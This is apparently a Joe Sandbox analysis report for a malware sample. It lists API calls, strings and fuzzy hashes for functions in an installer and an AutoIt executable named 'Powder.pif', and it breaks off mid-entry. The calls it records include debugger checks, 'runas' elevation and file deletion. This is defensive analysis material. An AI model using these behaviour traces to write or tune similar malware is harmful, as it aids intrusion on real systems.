Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: InitializeMessageSendUninitializelstrlenwvsprintf
String ID: Section: "%s"$Skipping section: "%s"
API String ID: 2266616436-4211696005
Opcode ID: e437b8ceb6229a6f9ab503619c9af8890d1bc97808a7dc02d8be9cd793390a3b
Instruction ID: 490ae00110c0e09774d0d246d4d4a011172e9101669e5a2b786a62fce758e9f8
Opcode Fuzzy Hash: e437b8ceb6229a6f9ab503619c9af8890d1bc97808a7dc02d8be9cd793390a3b
Instruction Fuzzy Hash: 41F0F4338087009BE6506B64AE07B9B77A4DFD4320F24007FFE48721E1ABFC48818A9D

Function 004020F9 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00402100
GetDeviceCaps.GDI32(00000000), ref: 00402107
MulDiv.KERNEL32(00000000,00000000), ref: 00402117

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

CreateFontIndirectW.GDI32(0041F0F0), ref: 0040216A

Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectVersionwsprintf
String ID:
API String ID: 1599320355-0
Opcode ID: 6f0d7b084d37585979e4dd0fd2aac30abed8a2b5fd168dddd791f163065a0eb0
Instruction ID: 656afd6720eca978824560f17fb47cc17b19fb3a621816cfe3730d6e1c8eda21
Opcode Fuzzy Hash: 6f0d7b084d37585979e4dd0fd2aac30abed8a2b5fd168dddd791f163065a0eb0
Instruction Fuzzy Hash: DA017172644650EFE701ABB4ED4ABDA3BA4A725315F10C43AE645A61E3C678440A8B2D

Function 004071F8 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406ED2: CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406EF6

lstrcpynW.KERNEL32(?,?,00000009), ref: 00407239
lstrcmpW.KERNEL32(?,Version ), ref: 0040724A
lstrcpynW.KERNEL32(?,?,?), ref: 00407261

Strings

Version , xrefs: 00407241

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: lstrcpyn$CreateFilelstrcmp
String ID: Version
API String ID: 512980652-315105994
Opcode ID: 4a1870cd75b7b8bbcc0c4c6a066d827f0aa8b2b5b5f43a101b4d9a41e631e9ca
Instruction ID: 151640cc4cfa07bb85738859349229c9473c158da19ee21f10eacb3052f8d035
Opcode Fuzzy Hash: 4a1870cd75b7b8bbcc0c4c6a066d827f0aa8b2b5b5f43a101b4d9a41e631e9ca
Instruction Fuzzy Hash: 3EF03172A0021CABDB109AA5DD46EEA777CAB44700F100476F600F6191E6B59E158BA5

Function 004032D2 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,00403703,00000001,?,?,?,00000000,00403A47,?), ref: 004032E5
GetTickCount.KERNEL32 ref: 00403303
CreateDialogParamW.USER32(0000006F,00000000,0040324C,00000000), ref: 00403320
ShowWindow.USER32(00000000,00000005,?,?,?,00000000,00403A47,?), ref: 0040332E

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 47d4170aef7bfd746f2c3ad407b5e1a24093745f4c41283d4ce41cd21e437078
Instruction ID: 401e6cecbc7a0b9e3d471fb50fe358663bd3ad25f9a7ebc527197863dd5a4904
Opcode Fuzzy Hash: 47d4170aef7bfd746f2c3ad407b5e1a24093745f4c41283d4ce41cd21e437078
Instruction Fuzzy Hash: 23F08230502620EBC221AF64FE5CBAB7F68FB04B82701447EF545F12A4CB7849928BDC

Function 00406365 Relevance: 6.0, APIs: 4, Instructions: 31memorylibraryloaderCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00002004,00000000,?,?,00402449,?,?,?,00000008,00000001,000000F0), ref: 00406370
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00002004,00000000,00000000,?,?,00402449,?,?,?,00000008,00000001), ref: 00406386
GetProcAddress.KERNEL32(?,00000000), ref: 00406395
GlobalFree.KERNEL32(00000000), ref: 0040639E

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: Global$AddressAllocByteCharFreeMultiProcWide
String ID:
API String ID: 2883127279-0
Opcode ID: 9b9152501c533f071dd2545c5f3fa28dbd06be6ef0eddba5fde26ce4b08cefa4
Instruction ID: 581917a1a4a7218ca9fbbc4554f9bfb31441e22884f00dccc1ee77d568dea7f2
Opcode Fuzzy Hash: 9b9152501c533f071dd2545c5f3fa28dbd06be6ef0eddba5fde26ce4b08cefa4
Instruction Fuzzy Hash: 19E048712012107BE2101B669E8CD677EADDFCA7B6B05013EF695F51A0CE348C15D675

Function 00402797 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25stringCOMMON

Download Yara Rule

APIs

GetPrivateProfileStringW.KERNEL32(00000000,00000000,?,?,00002003,00000000), ref: 004027CD
lstrcmpW.KERNEL32(?,?,?,00002003,00000000,000000DD,00000012,00000001), ref: 004027D8

Strings

!N~, xrefs: 00402797

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: PrivateProfileStringlstrcmp
String ID: !N~
API String ID: 623250636-529124213
Opcode ID: 866873a94fae700ec207294a0f2462ae5c2747d97e8320b74985250fbb79316b
Instruction ID: 7cd271610f6b1cb64eb4c57d825f56a096f62725fe87e34e9129affe44791136
Opcode Fuzzy Hash: 866873a94fae700ec207294a0f2462ae5c2747d97e8320b74985250fbb79316b
Instruction Fuzzy Hash: 37E0E571500208ABDB00BBA0DE85DAE7BBCAF05304F14443AF641F71E3EA7459028718

Function 00405C3F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00457278,Error launching installer), ref: 00405C64
CloseHandle.KERNEL32(?), ref: 00405C71

Strings

Error launching installer, xrefs: 00405C48

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 47f41dc08d07e361b35e7f66cf96497c8c5e39d775029f064e59fed031f864e7
Instruction ID: c3c9ba135fb9cbcc5263534f4c07e322ce29f53e9eda4e03cc008bde6a4ec24c
Opcode Fuzzy Hash: 47f41dc08d07e361b35e7f66cf96497c8c5e39d775029f064e59fed031f864e7
Instruction Fuzzy Hash: 44E0EC70504209ABEF009B64EE49E7F7BBCEB00305F504575BD51E2561D774D9188A68

Function 004062A3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Part of subcall function 004060E7: CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,004062D4,00000000), ref: 004060FE

Strings

RMDir: RemoveDirectory invalid input(""), xrefs: 004062A5, 004062AA

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: CloseHandlelstrlenwvsprintf
String ID: RMDir: RemoveDirectory invalid input("")
API String ID: 3509786178-2769509956
Opcode ID: 7e77ee9ca870ff99cdb2782ad16b85c265d3824fde99dea76e58772afe0e1651
Instruction ID: 8d95e7b1bd6a8fe250904a0927f32055e446839aab417a06e937ad69edd5bb19
Opcode Fuzzy Hash: 7e77ee9ca870ff99cdb2782ad16b85c265d3824fde99dea76e58772afe0e1651
Instruction Fuzzy Hash: 04D05E34150316BACA009BA0DE09E997B64FBD0384F50442EF147C5070FA748001C70E

Function 00405DB6 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DC6
lstrcmpiA.KERNEL32(?,?), ref: 00405DDE
CharNextA.USER32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DEF
lstrlenA.KERNEL32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DF8

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: f82830a26d6d2443e283ff34aa02cafdf5392a3ccdb3054c8558e2fdbecc5bb1
Instruction ID: 82a91399e33c41d3abe84131f59dcd741317d7299bce3ff9d06b8c6e92496674
Opcode Fuzzy Hash: f82830a26d6d2443e283ff34aa02cafdf5392a3ccdb3054c8558e2fdbecc5bb1
Instruction Fuzzy Hash: D5F0CD31205988EFCB019FA9CD04C9FBBA8EF56350B2180AAE840E7310D630EE01DBA4

Analysis Process: Powder.pifPID: 180, Parent PID: 6888COMMON

Execution Graph

Execution Coverage:	4.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.2%
Total number of Nodes:	2000
Total number of Limit Nodes:	94

Executed Functions

Function 00E15240 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 147
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00E1526C
IsDebuggerPresent.KERNEL32 ref: 00E1527E
GetFullPathNameW.KERNEL32(00007FFF,?,?), ref: 00E152E6

Part of subcall function 00E11821: _memmove.LIBCMT ref: 00E1185B

Part of subcall function 00E0BBC6: GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 00E0BC07

SetCurrentDirectoryW.KERNEL32(?), ref: 00E15366
MessageBoxA.USER32(00000000,It is a violation of the AutoIt EULA to attempt to reverse engineer this program.,AutoIt,00000010), ref: 00E50B2E
SetCurrentDirectoryW.KERNEL32(?), ref: 00E50B66
GetForegroundWindow.USER32(runas,?,?,?,00000001,?,00EB6D10), ref: 00E50BE9
ShellExecuteW.SHELL32(00000000), ref: 00E50BF0

Part of subcall function 00E1514C: GetSysColorBrush.USER32(0000000F), ref: 00E15156
Part of subcall function 00E1514C: LoadCursorW.USER32(00000000,00007F00), ref: 00E15165
Part of subcall function 00E1514C: LoadIconW.USER32(00000063), ref: 00E1517C
Part of subcall function 00E1514C: LoadIconW.USER32(000000A4), ref: 00E1518E
Part of subcall function 00E1514C: LoadIconW.USER32(000000A2), ref: 00E151A0
Part of subcall function 00E1514C: LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00E151C6
Part of subcall function 00E1514C: RegisterClassExW.USER32(?), ref: 00E1521C

Part of subcall function 00E150DB: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00E15109
Part of subcall function 00E150DB: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00E1512A
Part of subcall function 00E150DB: ShowWindow.USER32(00000000), ref: 00E1513E
Part of subcall function 00E150DB: ShowWindow.USER32(00000000), ref: 00E15147

Part of subcall function 00E159D3: _memset.LIBCMT ref: 00E159F9
Part of subcall function 00E159D3: Shell_NotifyIconW.SHELL32(00000000,?), ref: 00E15A9E

Strings

It is a violation of the AutoIt EULA to attempt to reverse engineer this program., xrefs: 00E50B28
runas, xrefs: 00E50BE4
AutoIt, xrefs: 00E50B23

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: LoadWindow$Icon$CurrentDirectory$CreateFullNamePathShow$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell__memmove_memset
String ID: AutoIt$It is a violation of the AutoIt EULA to attempt to reverse engineer this program.$runas
API String ID: 529118366-2030392706
Opcode ID: 59adcbf059a26b41003bcbe050b5b3920eda4a31d3af32604e6bc7b0a85f0a8c
Instruction ID: 4cdd4734b92a714242e43cdb61ee6196fca9fcb0ebdf4f9453e205ab3ffa3bbe
Opcode Fuzzy Hash: 59adcbf059a26b41003bcbe050b5b3920eda4a31d3af32604e6bc7b0a85f0a8c
Instruction Fuzzy Hash: D951FA72904248EECF05ABB1DC46EEDBBB4AF45384F1420AAF56173172DA710589CB21

Function 00E63CE2 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 167
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00E20284: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00E12A58,?,00008000), ref: 00E202A4

Part of subcall function 00E64FEC: GetFileAttributesW.KERNEL32(?,00E63BFE), ref: 00E64FED

FindFirstFileW.KERNEL32(?,?), ref: 00E63D96
DeleteFileW.KERNEL32(?,?,00000000,?,?,?,?), ref: 00E63E3E
MoveFileW.KERNEL32(?,?), ref: 00E63E51
DeleteFileW.KERNEL32(?,?,?,?,?), ref: 00E63E6E
FindNextFileW.KERNELBASE(00000000,00000010), ref: 00E63E90
FindClose.KERNEL32(00000000,?,?,?,?), ref: 00E63EAC

Strings

\*.*, xrefs: 00E63D41, 00E63D4A, 00E63D5F

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: File$Find$Delete$AttributesCloseFirstFullMoveNameNextPath
String ID: \*.*
API String ID: 4002782344-1173974218
Opcode ID: 01b42dd954dac82351029e7f93d122ccd4794219a45fa49b1eacf82d214a708f
Instruction ID: 6b3ec2ea671eb6b7cf0825151c8ff1fd90331c99b90ae03ac1a19e15cdce75ee
Opcode Fuzzy Hash: 01b42dd954dac82351029e7f93d122ccd4794219a45fa49b1eacf82d214a708f
Instruction Fuzzy Hash: 6051847184120DAECF15EBB0D9929EDB7B9AF11344F6021AAE542B3192DF316F4DCB60

Function 00E15D13 Relevance: 10.7, APIs: 7, Instructions: 223
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(?), ref: 00E15D40

Part of subcall function 00E11821: _memmove.LIBCMT ref: 00E1185B

GetCurrentProcess.KERNEL32(?,00E90A18,00000000,00000000,?), ref: 00E15E07
IsWow64Process.KERNEL32(00000000), ref: 00E15E0E
GetNativeSystemInfo.KERNEL32(00000000), ref: 00E15E54
FreeLibrary.KERNEL32(00000000), ref: 00E15E5F
GetSystemInfo.KERNEL32(00000000), ref: 00E15E90
GetSystemInfo.KERNEL32(00000000), ref: 00E15E9C

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: InfoSystem$Process$CurrentFreeLibraryNativeVersionWow64_memmove
String ID:
API String ID: 1986165174-0
Opcode ID: 9749750de60f7233aa08a9bd9f172e9314634b0f9710e6c2048f8cb8d94341a6
Instruction ID: 86d62b2c30b699ffd643d66821641646366af9a1a719df1a71778be1fea1e20f
Opcode Fuzzy Hash: 9749750de60f7233aa08a9bd9f172e9314634b0f9710e6c2048f8cb8d94341a6
Instruction Fuzzy Hash: 2A91C532949BC0DEC731CB7894505EBBFE56F69305B885E9ED0C7A3A41D230A58CC769

Function 00E64005 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00E20284: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00E12A58,?,00008000), ref: 00E202A4

Part of subcall function 00E64FEC: GetFileAttributesW.KERNEL32(?,00E63BFE), ref: 00E64FED

FindFirstFileW.KERNEL32(?,?), ref: 00E6407C
DeleteFileW.KERNEL32(?,?,?,?), ref: 00E640CC
FindNextFileW.KERNELBASE(00000000,00000010), ref: 00E640DD
FindClose.KERNEL32(00000000), ref: 00E640F4
FindClose.KERNEL32(00000000), ref: 00E640FD

Strings

\*.*, xrefs: 00E6404E

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: FileFind$Close$AttributesDeleteFirstFullNameNextPath
String ID: \*.*
API String ID: 2649000838-1173974218
Opcode ID: 76ba451b8d7c9df0e8ae56cb5b7ff700fe067a176d1ab2dcc9c7dbe954ada514
Instruction ID: 923a8dae253975af3b2109f585deb4cbe511148eb34ac0755ddd796936590ce9
Opcode Fuzzy Hash: 76ba451b8d7c9df0e8ae56cb5b7ff700fe067a176d1ab2dcc9c7dbe954ada514
Instruction Fuzzy Hash: 3B31A1710483559FC345EB60D8918EFB7ECBE91344F442A5EF5E1A21E2DB209A0DC7A3

Function 00E64148 Relevance: 6.1, APIs: 4, Instructions: 85processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00E6416D
Process32FirstW.KERNEL32(00000000,?), ref: 00E6417B
Process32NextW.KERNEL32(00000000,?), ref: 00E6419B
CloseHandle.KERNEL32(00000000), ref: 00E64245

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 370c3fa582f86dc69f59ae73df7d2ebf1238d1f3086e97996a7f8021c206a318
Instruction ID: cf6c307717b97f3addc5c40195a5049653080612c0611336e4693591de1dd171
Opcode Fuzzy Hash: 370c3fa582f86dc69f59ae73df7d2ebf1238d1f3086e97996a7f8021c206a318
Instruction Fuzzy Hash: FB31D6711083019FD300DF50E895AEFBBE8BF95344F50152EF685E21E1EB709989CB92

Function 00E0B020 Relevance: 5.6, APIs: 3, Instructions: 1146COMMON

Download Yara Rule

APIs

Part of subcall function 00E13740: CharUpperBuffW.USER32(?,00EC71DC,00000000,?,00000000,00EC71DC,?,00E053A5,?,?,?,?), ref: 00E1375D

_memmove.LIBCMT ref: 00E0B68A

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: BuffCharUpper_memmove
String ID:
API String ID: 2819905725-0
Opcode ID: 71e61f7b82ad84a5e2960414297d770187764f47a94a2ed7f6d86b9cc16b3763
Instruction ID: 7237550d654d8553399500c0fd57cbb308a1b3dc6b246a0249b577695bb38caf
Opcode Fuzzy Hash: 71e61f7b82ad84a5e2960414297d770187764f47a94a2ed7f6d86b9cc16b3763
Instruction Fuzzy Hash: 14A27B706083419FD724CF24D480B6AB7E1FF84304F14A96DE89AAB3A1D775ED85CB92

Function 00E6494A Relevance: 4.5, APIs: 3, Instructions: 25fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,00E4FC86), ref: 00E6495A
FindFirstFileW.KERNEL32(?,?), ref: 00E6496B
FindClose.KERNEL32(00000000), ref: 00E6497B

Memory Dump Source

